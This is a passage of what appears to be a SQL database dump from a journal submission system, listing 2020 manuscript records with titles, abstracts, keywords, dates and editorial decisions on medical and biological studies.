technique used was simple random sampling. Wilcoxon was used to testing the difference of blood pressure before and after the intervention in one group, while the difference test among groups employed by the Mann Whitney test. \r\nResults: The result indicated that respondent\'s hypertension is categorized into moderate.  There is a difference on the mean of blood pressure before and after the combination of music, humorous and pray therapy and a combination of music and humorous therapy. There is a significant difference in terms of systolic blood pressure between the treatment and control group, and there is no difference on the systolic blood pressure between the two groups.\r\nConclusion: A combination of music, humorous, and prayer therapy is effective in reducing blood pressure.','blood pressure; humorous therapy; hypertension; music; prayer',385,NULL,'2020-04-13',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3786,4584,45,0,'iphsj-20-3786','PREVALENCE OF FOREFOOT PAIN AMONG HIGH HEEL WEARING FEMALE TEACHERS AND STUDENTS OF DIFFERENT UNIVERSITIES IN FAISALABAD',NULL,14,0,NULL,'Background/objectives: The objective behind this study was to observe the prevalence of forefoot pain among ladies due to regular wearing of high heeled shoes. Previous literature showed a significant association of foot pathologies with high heels, but very few studies have been found to highlight the relationship between high heels and forefoot pain. This study focuses on the said prevalence among female teachers and students of different universities in Faisalabad. Methods: The study design selected was a cross-sectional survey. The sample size was 200 based on a previous study. The study setting was different universities of Faisalabad. A simple random sampling technique was used to collect the sample. The self-generated questionnaire was used as a research tool. Results and conclusion: Results were interpreted using frequency distribution bar charts. Results showed that 77.5% of the study population complaint of forefoot pain due to the regular wearing of high heeled shoes. Others suggested either pain in mid-foot and heel or no pain at all.','forefoot pain, high heeled shoes, gait, forefoot pressure',686,NULL,'2020-04-13',NULL,'Submitted',2,NULL,'2020-05-12',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3787,4959,86,0,'ipaom-20-3787','Exploration of the nerve electrophysiological Changes in Treatment of Facial Neuritis Through Acupuncture in Combination with Western Medication',NULL,14,0,NULL,'Objective: To explore the efficacy of acupuncture in combination with Western Medication on the facial neuritis and the resultant changes innerve electrophysiology. \r\nMethods: We selected a total of 100 facial neuritis patients who visited the clinic or were admitted to this hospital between November 2016 and February 2018, and these patients were randomly divided into two groups, the control group and the observation group, 50 in each. Patients in the control group underwent oral administration of prednisone and intramuscular injection of vitamin B12, while those in the observation group received the acupuncture and administration of acyclovir. Following treatment, we evaluated the efficacy and satisfaction of treatment of patients in two groups. Additionally, for patients in the observation group, we also examined the changes in CAMP and EMG of facial nerves and branches, recording indexes including the latency, amplitude and morphology of spontaneous potential and action potential, and carried out comparison with the indexes of the non-affected side. \r\nResults: The total effectiveness rates of the observation group and the control group were 97.1% and 75.7%, respectively, and the difference between two groups showed statistical significance (p<0.05); the total satisfaction rates, 91.4% and 75.7%, respectively (p<0.05). In the observation group, there were 35 patients with longer CMAP latency in comparison with their counterparts in the control group, while 50 patients had the significant decreases in amplitudes of the CMAP on the affected side in comparison with those on the non-affected side; at 3 months after treatment, the latency was significantly shortened obviously, without any significant difference when compared to the non-affected side, while the amplitudes of the frontal branch and the zygomatic branches had a significant increase when compared with the levels at the time of diagnosis, whereas comparison between two sides showed no statistical significance. A slight increase was noted in the amplitude of buccal branches, showing statistically significant difference in comparison with the non-affected side. \r\nConclusion: Acupuncture in combination with the Western medication can massively improve the clinical efficacy and satisfaction of treatment, while nerve electrophysiological examination can better quantify the injury of facial neuritis and the efficacy, showing a promising value in evaluation of prognosis.\r\n',' Facial neuritis; nerve; electrophysiology; acupuncture',2890,NULL,'2020-04-13',NULL,'Submitted',4,NULL,'2020-06-11',NULL,1,1,'0','send for revision',0,NULL,NULL,2,0,0,0,NULL,0),(3791,4963,86,0,'ipaom-20-3791','Curative effect observation of ambroxol hydrochloride combined with antibiotics in the treatment of chronic bronchitis and relevant nursing mode',NULL,14,0,NULL,'Objective: To observe the effect of ambroxol hydrochloride combined with antibiotics in the treatment of chronic bronchitis and explore scientific nursing mode. \r\nMethods: 180 patients who had been treated for chronic bronchitis in our hospital were enrolled and divided into study group and control group, each containing 90 cases. Patients in the control group were given ambroxol hydrochloride treatment mode and routine nursing measures, while those in the study group were treated with ambroxol hydrochloride combined with antibiotics and given comfort nursing mode. The therapeutic effect and nursing effect of the two groups were compared. \r\nResults: The results showed that the study group was significantly higher than the control group in overall treatment effective rate, p<0.05. Compared with the control group, the overall nursing satisfaction was higher in the research group, p<0.05. Comparing the time of clinical symptom disappearance between the two groups, the results showed that the study group was significantly shorter than the control group, p<0.05. \r\nConclusion: Ambroxol hydrochloride combined with antibiotics can achieve better therapeutic effect for patients with chronic bronchitis, and scientific nursing mode is the key to improve the therapeutic effect.\r\n','  Ambroxol Hydrochloride; Antibiotics; Chronic Bronchitis; Comfort Care; Effect',2892,NULL,'2020-04-13',NULL,'Submitted',4,NULL,'2020-06-11',NULL,1,1,'0','according to review comments, Send for revision',0,NULL,NULL,2,0,0,0,NULL,0),(3798,4975,85,0,'iphspr-20-3798','The Untapped Potential of Foreign Medical Graduates (FMG) in the United States for COVID-19 Pandemic Response',NULL,7,0,NULL,'Background: The United States is severely affected by COVID-19 reporting 30% of global confirmed cases. The continued spike of COVID-19 cases calls to enhance community surveillance approach to control the pandemic.\r\nObjective: To explore the untapped potential of FMG in the US to strengthen the COVID-19 pandemic response. \r\nMethods: The COVID-19 pandemic situation and response is reviewed to identify the gap and indicate the available health workforce. The NRMP reports and FMG social media group was reviewed to explore the role the FMG can play in COVID-19 response.\r\nResults: There are over 6,000 candidates who are certified by ECFMG, but unmated at NRMP due to limited availability of slots and another group of FMG who already passed Step 1 or 2 of USMLE.\r\nConclusions: A community surveillance approach that identifies and map areas of high transmissibility and intensifying testing, and isolation of cases will be beneficial to control the COVID-19 pandemic in the US. Considering the untapped potentials of thousands of experienced FMG in the US will be a sensible approach to the community surveillance role and other public health measures for COVID-19 response.\r\n',' COVID-19, Coronavirus Diseases-19\r\nFMG, Foreign Medical Graduates\r\nECFMG, Education Commission for Foreign Medical Graduates\r\nUSMLE, United States Medical License Examination\r\nNRMP, National Resident Match Program',3242,NULL,'2020-04-14',NULL,'Submitted',2,NULL,'2020-08-03',NULL,1,1,'0',' ',0,NULL,NULL,2,0,0,0,NULL,0),(3799,4976,86,0,'ipaom-20-3799','Assessment of arterial stiffness and cardiovascular disease risk factors at King Fahd University Hospital',NULL,14,0,NULL,'Background: Arterial stiffness is the result of an ageing process that leads to structural and functional changes to arterial wall. Lately studies have found some correlations linked with the cardiovascular disease (CVD) risk factors\r\nObjectives:\r\n• To determine the association between arterial stiffness and cardiovascular risk factors in Saudi population (Eastern province).\r\n• To promote early detection of cardiovascular disease (CVD) risk factors in order to prevent further complications like stroke and coronary artery disease in our Saudi population (Eastern province). Methods: An observational study, recruited from 85 patients from the internal medicine outpatient clinics at King Fahd university hospital (KHUH) in Saudi Arabia. The investigators recorded patients\' demographics, like body mass index and clinical information of cardiovascular disease risk factors such as smoking, hypertension, diabetes mellitus (DM), dyslipidemia, and obesity, Moreover, arterial stiffness and blood pressure. Results: The mean cardio ankle vascular Index (CAVI) was 8.22 (Standard deviation = 1.82), the mean blood pressure was 137 systolic (Standard deviation = 13) and the mean body mass index was 32.304 (Standard deviation = 6), the mean HbA1c was 8.7 (Standard deviation = 1.8). Moreover, the mean of total cholesterol was 168.7 (Standard deviation= 47.8), LDL was 97.8 (Standard deviation = 37.6), HDL was 44.2 (Standard deviation = 13.9) and Triglycerides was 157 (Standard deviation = 91.23). Conclusion: The results showed that there is a significant association between an increased CAVI result and CVD risk factors which support the main objective of this study.\r\n',' Keywords: Cardiovascular disease, Arterial stiffness, Risk factors, Diabetes',2890,NULL,'2020-04-14',NULL,'Submitted',4,NULL,'2020-06-11',NULL,1,1,'0','Dear Dr. Tariq Al-Shairbeeny, \r\nwe hereby send you the outcome of the first review of your manuscript (ID ipaom-20-3799)\r\nPlease , revise the paper accordingly and resubmit the revised version.\r\nThank you very much for submitting your work to Archives of Medicine.\r\nBest Regards, \r\nThe Editor.',0,NULL,NULL,2,0,0,0,NULL,0),(3804,4984,85,0,'iphspr-20-3804','Attitude of health workers (nurses) towards patients and the perception patients have about them: a case study at kropa health centre inghana',NULL,2,0,NULL,'Background: The purpose of this study is known a specific hospital operating issue on employee attitude, service quality, customer satisfaction, and customer loyalty in health - care organizations. \r\nMethods The proposed research model was done using the mixed methods approach. \r\nResults:\r\nThe results indicate that hospitals can improve customer satisfaction and loyalty through efficient public relations with patients and their families, frequent in-service training for employees in terms of public relations and customer care and service quality. \r\nResults: One of the key findings of our study was that health workers especially nurse had bad public relations with patients and their families in health – care organization’s influence employee reaction and service quality.\r\nConclusions: The researcher concluded that public relations and customer care should be included in the curricula of nursing training schools to help students appreciate the need and approach to patients when they start their practice.','customer care, employee reaction, service quality, customer satisfaction and loyalty, health care.',3404,NULL,'2020-04-15',NULL,'Submitted',2,NULL,'2020-08-03',NULL,1,1,'0',' ',0,NULL,NULL,2,0,0,0,NULL,0),(3808,4987,73,0,'ipjnn-20-3808','Proposed Phenotype for Females with a SETD5 Gene Variation: A Case Report',NULL,2,0,NULL,'Background: SET domain containing 5 (SETD5) gene variants have been linked to developmental delays, craniofacial abnormalities, and intellectual disability (ID). Prior research examining the phenotypic presentation of individuals with SETD5 variations has been based largely on a male-dominated cohort and case studies. Evidence of a possible protective effect in females prompts the need for additional research on the neuropsychological presentation of females with a SETD5 variation. The current study aims to initiate this effort by discussing the neurocognitive profile of a right-handed 7-year-old Caucasian female with a diagnosed SETD5 variation. Methods and Findings: The patient was referred for neuropsychological evaluation due to reported reading, writing, and fine motor difficulties. She presented with distinct dysmorphic features: head circumference <1st %ile, syndactyly of toes, clinodactyly of fifth fingers, and a long smooth philtrum with thin upper lip. Interpersonally, the patient was highly social. Cognitive testing revealed low average intelligence, with intact verbal/language functioning and impaired nonverbal/fluid reasoning abilities. Deficits were also observed in fine motor dexterity, visuomotor integration, attention, and broad academic achievement. The patient was ultimately referred for genetic testing, which revealed a de novo SETD5 frameshift variant resulting in a truncation of the gene copy near the end of the gene. Conclusions: This case study provides evidence for phenotypic differences between males and females with SETD5 gene variations. While males exhibit ID, females may present with significant deficits in nonverbal reasoning skills. Females may also display more fully developed social skills and a lack of repetitive stereotyped behaviors. Further research is warranted to clarify the unique presentation among females with SETD5 variations to better inform diagnosis and treatment planning.',' SETD5, phenotype, mutation, neuropsychology',352,NULL,'2020-04-16',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3809,4952,45,0,'iphsj-20-3809','The Knowledge and Practice of Mothers Caring for their Children with  Acute Respiratory Infection among those attending the Under-Five Unit at  Bedele Hospital, Southwest Ethiopia',NULL,14,0,NULL,'Background: Acute respiratory tract infection (ARTI) remains to be the leading cause of acute illnesses worldwide and remain an important health concern. \r\nObjectives: To assess the level of knowledge and practice of mothers caring for children with an acute respiratory infection.	\r\nMethods: Facility-based cross-sectional study was conducted at Bedele hospital from April 1-20, 2018. It has employed all consecutive mothers who brought their children to the under-five outpatient department (n=195). The data was analyzed by SPSS, and the finding was presented by figures and tables.\r\nResults: Among included mothers more than half, 54.87% of them were within age group of 25-34 years. The study indicated that 70% of respondents had good knowledge, the rest 30% had poor knowledge on the other hand, and 57.15% of the respondents had a good practice on ARTI.\r\nConclusion: Although the majority of the mothers had good knowledge, still a significant proportion of the mothers had poor practice about acute respiratory tract infection. Therefore, collaborative action of the Bedele Hospital and Bedele woreda Health office is called to further increase the knowledge and improve the practice of mothers about ARTI. Furthermore, identifying the determinant factors by interested researcher is also valuable.\r\n','Knowledge; Practice; Knowledge and Practice',643,NULL,'2020-04-16',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3812,4990,86,0,'ipaom-20-3812','Global Efforts towards potential therapeutic options for COVID-19',NULL,15,0,NULL,'An epidemic spread of novel coronavirus (COVID-19) infection has posed significant threats to global public health and the economy. Scientists around the world are endeavoring to find potential antiviral effective in combating COVID-19. Currently, there is no specific treatment for COVID-19, however several drugs are currently under clinical investigation to test their efficacy and safety during the treatment of coronavirus disease 2019 (COVID-19). Based on published evidence, we have summarized the present therapeutic agents effective against SARS-CoV-2. ','COVID-19, coronavirus, 2019‐CoV, therapeutic options',2890,NULL,'2020-04-16',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','Accept for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(3823,5004,86,0,'ipaom-20-3823',' Redefining dialysis facility recommendations for infection prevention and control during the COVID-19 outbreak',NULL,15,0,NULL,'In December 2019, pneumonia cases of unknown aetiology were reported in Wuhan, Hubei Province, People\'s Republic of China (PRC). Its clinical symptoms are similar to those of viral pneumonia. After analysis on respiratory samples, PRC Centers for Disease Control (CDC) experts declared that pneumonia was caused by a highly contagious novel coronavirus (SARS-CoV-2.) The World Health Organization (WHO) has declared the ongoing outbreak as a global public health emergency. Furthermore, advised, in the absence of any apparent pharmaceutical intervention, that the only strategy against (SARS-CoV-2) is to reduce the mixing of susceptible and infectious people through early ascertainment of cases or reduction of contact. Over the last month, the number of cases has risen rapidly in South Korea, Japan, Europe, and the United States. New cases are being diagnosed in the Middle East region. This is even more critical for hemodialysis patients who need maintenance hemodialysis sessions thrice-weekly, which are routinely done in close proximity to other patients in the small space of hemodialysis units. Herein, we report the opinion of a group of nephrologists with the hope that this will serve as a guideline to prepare the nephrology community to deal with this impending danger.','Hemodialysis ,COVID-19 ',3386,NULL,'2020-04-18',NULL,'Submitted',2,NULL,'2020-05-20',NULL,1,1,'0','Accept for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(3824,5005,277,0,'ipadm-20-3824','PREDICTORES DE MORTALIDAD EN PACIENTES CON COVID – 19.',NULL,5,0,NULL,'Hasta el momento y ante el problema mundial de salud pública que genera el SARS-CoV-2 se hace necesario implementar herramientas de diagnóstico accesibles, rápidas y eficaces que ayuden a identificar pacientes infectados y portadores asintomáticos con el fin de evitar la propagación y complicaciones.\r\nLos diferentes predictores de mortalidad identificados previamente son de gran utilidad para predecir la fatalidad del paciente que presente COVID-19, pudiendo así intensificar los cuidados de atencion a la poblacion en riesgo.',' COVID-19, SARS-COV-2, pronostico, mortalidad',2805,NULL,'2020-04-18',NULL,'Submitted',2,NULL,'2020-05-22',NULL,1,1,'0','Accepted to publish',0,NULL,NULL,NULL,0,0,0,NULL,0),(3825,5006,251,0,'ipacm-20-3825','Application of Chest CT in the Primay Screening of COVID-19 Related High-risk Population',NULL,9,0,NULL,'Although nucleic acid test and immunity antibody test are the only standards for the diagnosis of Coronavirus Disease 2019 (COVID-19), while it was rarely applied for primary screening in all COVID-19 related close contacts. The magament of such kind of population still need additional method besides medical observation. Chest CT as a routinely examination in most hospital, it has certain advantages and also limitation in the management of COVID-19. Here, we summarized and commented the role of chest by clinical perspective in the primary screening.',' COVID-19, Chest CT, Primary Screening',778,NULL,'2020-04-18',NULL,'Submitted',2,NULL,'2020-06-05',NULL,1,1,'1','COVID-19 is the most dreadful pandemic of 21st century and its study is hihghly appreciated. As the major symptom of COVID-19 is flu, chest CT scan is a must. As a conventional and non-invasive imaging modality, more than 300 cases can be checked by one CT machine everyday in routinely equipped hospital so this research now should be encouraged. Accept it as it is.',0,NULL,NULL,NULL,0,0,0,NULL,0),(3830,5015,86,0,'ipaom-20-3830','Investigating the correlation between PIK3CA mutation status and thrombocytosis, in colorectal cancer',NULL,14,0,NULL,'Several reports described that thrombocytosis is associated with worse survival and higher rate of metastasis in solid tumors. According to recent research, both thrombocytosis and activating mutations in the phosphoinositide-3-kinase (PIK3CA) gene – underlying the benefits of aspirin– have an impact on the prognosis of colorectal cancer (CRC).\r\nWe performed a retrospective analysis of clinical data from 27 patients operated for primary CRC. Platelet count was measured preoperatively, and values of or above 400×103/µL were regarded as thrombocytosis. Formalin-fixed, paraffin-embedded (FFPE) tissue specimens were used for the determination of mutations in PIK3CA exon 9 and 20 hotspot codons.\r\nMean follow-up time was 23 months; median survival was 44 months. The mean platelet (PLT) count was 525 G/L. The proportion of patients with a PIK3CA mutation was 14.8% in our study population. We did not detect any statistical difference between platelet count and wild type, or mutant PIK3CA.\r\nOur study could not show a relationship between cancer-associated thrombocytosis and PK3CA mutation status.\r\n',' cancer-associated thrombocytosis, phosphoinositide-3-kinase mutation, colorectal cancer',3326,NULL,'2020-04-18',NULL,'Submitted',4,NULL,'2020-06-11',NULL,1,1,'0',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(3831,5016,86,0,'ipaom-20-3831','Platelet activation in gastrointestinal tumors',NULL,14,0,NULL,'Studies have demonstrated that thrombocytosis associated with solid tumors means shorter patient survival. The pathomechanism of this paraneoplastic phenomenon is still unknown. This study intended to clarify whether elevated platelet count is associated with platelet activation, as the control of thrombocytosis might become a therapeutic method. \r\n\r\nOur retrospective study was conducted on patients (n=109) operated for gastrointestinal malignancies. We investigated correlations among the following parameters: platelet count (PLT), mean platelet volume (MPV), platelet distribution width (PDW), mean platelet component (MPC), mean platelet mass (MPM), plateletcrit (PCT), and other indices of hemostasis. The study subjects were divided into two groups according to a PLT cut-off level of 400/μL. \r\n\r\nInvestigation into platelet activation revealed significantly higher PCT (0.40±0.13 vs. 0.21±0.08%. p<0.001), and lower MPC (22.75±1.48 vs. 24.39±1.63) values in patients with a platelet count over 400/μL. A significant difference was not found between the two groups regarding the following parameters: (MPV: 8.25±0.77 vs. 10.54±12.10 fl, p=0.453; PDW: 47.75±5.71 vs. 50.72±8.83g/dl, p=0.204; MPM: 1.94±0.25 vs. 1.99±0.12 pg, p=0.253). \r\n\r\nOur study demonstrated that in gastrointestinal neoplasia, higher PLT is associated with increased platelet activity. It may be a possible therapeutic option for the prevention of tumor metastases, if controlled.\r\n\r\n',' gastrointestinal tumor, metastasis, thrombocytosis, platelet activation, mean platelet component',712,NULL,'2020-04-18',NULL,'Submitted',4,NULL,'2020-06-11',NULL,1,1,'0','send for revision ',0,NULL,NULL,2,0,0,0,NULL,0),(3833,5019,73,0,'ipjnn-20-3833','Isolated Orthopnea in Myasthenia Gravis',NULL,2,0,NULL,'Isolated orthopnea due to neuromuscular factors  in a patient known to have myasthenia gravis is very unusual.Past history of operated thymoma in such a patient may have specific implications with regard to it\'s etiology and is discussed.',' Myasthenia gravis ,Thymoma, orthopnea, Diaphragmatic palsy',334,NULL,'2020-04-19',NULL,'Submitted',4,NULL,'2020-06-06',NULL,1,1,'0','revise',0,NULL,NULL,1,0,0,0,NULL,0),(3835,5021,639,0,'ipfs-20-3835','Population dynamics of Rainbow Sardines, Dussumieria acuta (Valenciennes, 1847) from Pakistani waters',NULL,14,0,NULL,'Length frequency data of Rainbow Sardines, Dussumieria acuta were collected and measured from the coast of Pakistan during 2015, ranging from 5 to 19 cm (total length).Weight ranging were measured from 2 to 64 g. The length frequency data were analysed for the estimation of population dynamics, so b was estimated at 2.70.The estimated von Bertalanffy growth function parameters of 19.95 cm (L∞) and 0.730year-1 (K). The mortality rate Z= 1.84year-1, M= 1.59 year-1 F= 0.25year-1 and E= F/Z= 0.135. The yield-per-recruit analysis indicated that when tc was 1, Fmax was 1 year-1. Currently, the age at first capture is about 1 year and Fcurrent was 0.25 year-1. Therefore, Fcurrent was smaller than Fmax. With Gulland method, the biological reference point for fishery (Fopt) was estimated as 1.59year1, which is also higher than current fish mortality. Therefore the present study shows that the Dussumieria acuta fishery is safe in Pakistan.  ',' : Pakistan; Dussumieria acuta, length-weight relationship, growth, mortality, FiSAT',1777,NULL,'2020-04-19',NULL,'Submitted',4,NULL,'2020-07-02',NULL,1,1,'0','Notify Author to revise the article.',0,NULL,NULL,2,0,0,0,NULL,0),(3851,5039,971,0,'ipaclr-20-3851','Hematological changes and antidiabetic activities of Colocasia esculenta (L.)schatt) stem tuber  aqueous extract in alloxan induced diabetic rats',NULL,14,0,NULL,'Management of blood glucose level is the hallmark in the treatment of diabetes. Much work has not been done on the management of diabetes using the stem tuber extract of Colocasia esculenta. The objective of this study was to evaluate the antihyperglycemic and hematological parameter on Colocasia esculenta aqueous stem extract in alloxan induced diabetic rats. Sixty (60) male rats were used in the study. Seven days of acclimatization, the rats were divided randomly into six groups of five in each group. Group 1: Served as normal control, Group 2: Diabetic control group (negative control), Group 3: Diabetic group and “Glucinorm-M80” (positive control), Group 4: Diabetic group and extract at 200mg/kg bodyweight, Group 5: Diabetic group and extract at 400mg/kg, Group 6: Diabetic group and extract at 600mg/kg.   Diabetes was induced in albino rats by intraperitoneal injection of alloxan at a single dose of 120mg/kg body weight in groups 2 to 6 after starving them for 24 hrs. The animals were given feed and water ad libitum. The albino rats were administered for twenty eight days with the aqueous Colocasia esculenta stem tuber, after which they were fasted overnight, anaesthetized with chloroform and sacrificed. The result showed that there was a significant increase (p<0.05) in mean body weight of the positive control and the treatment groups (200mg/kg to 600 mg/kg) when compared with the negative control which has a significant decrease (p<0.05) in mean body weight. The result showed that there was a substantial decrease in blood glucose of animals administered with different doses of aqueous extract of Colocasia esculenta stem tuber and the positive control group. The result showed that a significant difference (P<0.05) in the concentrations of RBC, PCV, HB, PLT and MCH of the treatment groups and negative group when compared with the normal control group. Also there was a significant difference in glycosylate hemoglobin of the treatment groups when compared with the control group and negative group. This study has demonstrated that aqueous stem tuber extract of Colocasia esculenta has a significant increase on body weight which may have a role of improving the states of possible weight loss following complicated diabetes. Also, aqueous stem tuber extract of Colocasia esculenta has an ameliorative effect on sugar level and some hematological parameters of alloxan induced diabetic rats showing effective diabetic control and management of diabetes.',' Key words: Colocacia esculenta, Hematological, Antihyperglycemic, Diabetes, Alloxan\r\n \r\n',3249,NULL,'2020-04-21',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(3854,5044,91,0,'ijddr-20-3854','Carbohydrates Test and In Vitro Inhibitory Activities of Alpha-Glucosidase and Alpha-Amylase of Stem Bark Extracts of Musanga Cecropioides',NULL,14,0,NULL,'Elevated postprandial hyperglycemia is one of the risk factors linked to diabetes. Decreasing postprandial hyperglycemia is possible by inhibiting certain carbohydrate hydrolyzing enzymes like α-amylase and α-glucosidase. Our study aimed to assess Oral Maltose and Starch tolerance Test, in the presence of the aqueous extract of M. cecropioides in male rats and to measure the α-glucosidase and α-amylase inhibiting activities in vitro in the presence of the fractions obtained from Musanga cecropioides. The results obtained show that the aqueous extract at the doses used did not significantly reduce the Area Under the Curve in comparison with the groups of animals receiving only water and maltose or those receiving water with starch. In contrast, glibenclamide at a dose of 10 mg/kg induced a significant drop in both the area under the curve induced by maltose and that induced by starch respectively. As regards the inhibition of α-glucosidase activity, the fractions A, B, C, and D showed respective median inhibitory concentrations of 14.84, 83.10, 69.86, and 0.70 µg/mL compared to acarbose (positive control) and fraction D had the best half-maximal inhibitory concentration (IC50) of 0.70 µg/mL. In terms of inhibition of α-amylase activity, the median inhibitory concentrations (IC50) for fraction A, Fraction B, Fraction C, and fraction D were 63.51, 221.5, 691.1 and 604.4 µg/mL respectively. This study shows that fraction A has α-glucosidase and α-amylase inhibiting activities, while fraction D has very pronounced α-glucosidase activity. It would be necessary to further split fractions A and D, to determine the compounds responsible for their activity of inhibiting α-glucosidase and α-amylase.',' inhibitory activity, α-glucosidase, α-amylase, Musanga cecropioides, fractions',2231,NULL,'2020-04-21',NULL,'Submitted',4,NULL,'2020-05-13',NULL,1,1,'1',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(3860,5048,639,0,'ipfs-20-3860','Impacts of Different Exercise Routines on Rainbow Trout Rearing Performance',NULL,14,0,NULL,'Exercising fish during hatchery rearing may provide considerable benefits. This study evaluated a combination of different exercise regimens and feeding levels during juvenile rainbow trout (Oncorhynchus mykiss) rearing for 109 days. Four treatments were used: 1. continual exercise at a water velocity of 12.2 cm s-1 and feeding to near-satiation (low exercise, low feed), 2. continual exercise at a water velocity of 30.5 cm s-1 and feeding an increased ration (high exercise, high feed), 3. exercise routine using a water velocity that alternated weekly between 12.2 cm s-1 and 30.5 cm s-1 and feeding to satiation (exercise routine, low feed), and 4. exercise routine and feeding an increased ration (exercise routine, high feed). Final tank weight, gain, percent gain, and feed conversion ratio were all significantly lower in the high exercise, high feed treatment compared to the other three treatments. Feed conversion ratio was significantly greater in the exercise routine, high feed treatment compared to both of the lower feed treatments. Specific growth rate and individual fish length and weight were all also significantly lower in the trout reared under constant high velocity compared to the other three treatments, but there was no significant difference in condition factor among treatments. \r\nBecause the trout fed to satiation in this novel exercise routine grew similar to, and as efficiently as, the trout receiving low exercise and fed to satiation, this exercise regime can be used to obtain the benefits of exercise without sacrificing rearing performance.','Salmonids, Velocity, Oncorhynchus mykiss, Feed Ration ',1771,NULL,'2020-04-21',NULL,'Submitted',2,NULL,'2020-06-12',NULL,1,1,'0','I accept to publish this article ',0,NULL,NULL,NULL,0,0,0,NULL,0),(3862,5053,251,0,'ipacm-20-3862','Knowledge Risk Attitude Assessment Related To HIV/ AIDS among BDS Students in Chennai, Tamilnadu',NULL,11,0,NULL,'Background: Acquired Immuno Deficiency Syndrome (AIDS) awareness is comparatively low in developing countries like India. India stands as the third largest country with HIV positive patients, with Tamil Nadu in the 6th position state wise(1). In this study a survey was conducted to assess the knowledge, attitude and risk related to AIDS among the undergraduate dental students of various universities in Chennai city, intended to create awareness among the youth thereby preventing the incidence of AIDS.\r\nMethod: A dichotomous self-administered questionnaire consisting of 16 questions was approved by Institutional Human Ethical Committee and it was distributed to 432 dental students in Chennai, the filled forms were later evaluated.\r\nResult: This study reveals that the overall knowledge on AIDS among the study population was satisfactory. The fundamental knowledge on AIDS is 84.12%, cause of AIDS is 88.3%, source of information about AIDS is 66.62% and knowledge on people at risk of developing AIDS is 79.72%, while knowledge on prevention and management of AIDS is 88.12%.\r\nConclusion: This study infers that overall knowledge about AIDS is better among the boys than the girls. Health education must be made mandatory at schools, colleges, community level to defend from the globally endangering disease.\r\n',' AIDS, awareness, Chennai, dental, HIV, pandemic',787,NULL,'2020-04-22',NULL,'Submitted',2,NULL,'2020-06-05',NULL,1,1,'1','Study about AIDS/HIV is a never ending study. In countries like India, this study has to be extended. This aticle gives an extensive knowledge about this and it is well written. Reference format can be checked once befor publishing. Apart from that everything is fine for publication.\r\n',0,NULL,NULL,NULL,0,0,0,NULL,0),(3863,5055,86,0,'ipaom-20-3863','A Narrative Literature Review Of Global Pandemic Novel Coronavirus Disease 2019 (Covid-19) : Epidemiology , Virology , Potential Drug Treatments Available ',NULL,15,0,NULL,'Coronaviruses (CoVs) are the largest group of\r\nviruses belonging to the Nidovirales order, which includes\r\nCoronaviridae, Arteriviridae, Mesoniviridae, and Roniviridae\r\nfamilies.Coronavirus virion are circular with a diameter of nearly 125 nm. Its most conspicuous characteristic of coronaviruses is the club-shaped\r\nspiked projections originating from the surface of the virion.Such spikes\r\nare a definite characteristic of the virion and give them a solar corona\r\nappearance leading the term coronaviruses.\r\n(1)Coronaviridae covers a\r\nbroad range of host & carriers, infecting many mammalian & avian\r\nspecies/subspecies,this may affect the upper respiratory, gastrointestinal, haepatic and central nervous system via a number of diseases.\r\n(2)\r\nSARS-CoV, group 2b -β coronavirus, was detected as the potential cause\r\nof the 2002–2003 outbreak of Severe Acute Respiratory Syndrome\r\n(SARS) in the Guangdong Province of China. In a cluster of highly\r\npathogenic respiratory tract infections in Saudi Arabia and other\r\nCountries in the middle east throughout 2012, Middle East Respiratory\r\nSyndrome-CoV (MERS-CoV), (Fig.2) was found to be the potential\r\ncause is an example of another novel human CoV .(Table.1)\r\n(3)\r\nOn 31 December 2019, the Wuhan Health Commission in the Republic of\r\nChina\'s Hubei Province notified the National Health Commission, China\r\nCDC and the WHO of a series of 27 cases of unexplained etiological\r\npneumonia. Leaks have been predominantly tracked to the Huanan\r\nSeafood Wholesale Market in Wuhan, that trades fish and a myriad of\r\nlivestock species comprising chickens, bats, marmots and snakes.\r\n(4) By\r\nJanuary 7\r\nth\r\n, 2020Chinese Center for Disease Control and Prevention\r\nofficials had isolated severe acute respiratory syndrome coronavirus 2\r\n(SARS-CoV-2).On 11 February, WHO officially named the disease as\r\nthe coronavirus disease 2019 (COVID-19).\r\n(5)The World Health\r\nOrganization (WHO) also announced a global emergency on January 31\r\nst due to increasing concern about its rapid expansion and the disease\r\nbecame listed as a pandemic by March 11th',' SARS-COV2, COVID-19,PANDEMIC,POTENTIAL DRUG TREATMENT',3386,NULL,'2020-04-22',NULL,'Submitted',2,NULL,'2020-05-20',NULL,1,1,'0','Accept for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(3864,5056,91,0,'ijddr-20-3864','Self- Assembled Chitosan-g-Pluronic F-127 Copolymer (ChPC) Loaded with Polydatin Nanoparticles: Implication as Anti-Diabetic Therapy.',NULL,14,0,NULL,'Our aims to develop a safe and effective polymeric nano-template for assessing pharmaceutical potentialities in modulating the drug profile in the field of anti-diabetes research. We rationally aimed to design the Chitosan (Ch) grafting with PF as co-polymer (ChPC). The FT-IR, dynamic light scattering, SEM, TEM and % entrapment efficacy are commenced  to examine the efficacy of the prepared nanoparticles in successful Polydatin (PD) delivery (PD-ChPC-NPs) having average particle size 263 ± 1.25 nm with PDI 0.162. The PD-ChPC-NP has a spherical in shape and can be loaded with high encapsulation efficiency (86.49 ± 0.29). It was observed that PD-ChPC-NP was stable at various temperatures and biocompatibility. In vivo animals studies have also clearly shown that compared with free PD, PD-CSNP has a significant anti-diabetic effect in diabetic rats. To conclude, the current research shows that PD-ChPC-NPs represent potentially safe nanocarriers that can be used for non-toxic and effective treatment of diabetes.',' Polydatin, Chitosan, Pluronic F-127, Nanoparticle, Cytotoxicity, diabetes treatment',2474,NULL,'2020-04-22',NULL,'Submitted',2,NULL,'2020-07-09',NULL,1,1,'1','accept 